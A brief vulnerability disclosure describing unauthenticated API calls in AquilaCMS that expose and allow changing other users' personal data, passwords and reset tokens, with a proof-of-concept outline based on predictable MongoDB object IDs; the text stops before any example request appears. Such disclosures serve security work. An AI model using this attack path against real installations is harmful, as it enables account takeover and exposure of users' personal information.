AquilaCMS Vulnerability

Description

Unauthenticated API function calls allows any user to change or view another users first name, last name, password, and address information. As well, leaked activateAccountToken and resetPassToken can be viewed which are used during the password reset function. Total Account compromise is possible through these API calls.

Proof of Concept

The attacker can guess the correct MongoDB_object ID as it is proven to not be securely random and majority of the token is leaked during registration. Once an attacker has generated a valid object_id, they can use the linked GitHub repo to generate other users' object_id. After using the linked GitHub repo, you can use the unauthenticated API calls the view, modify, and compromise the account associated with the _id found. Example of updating another users information;
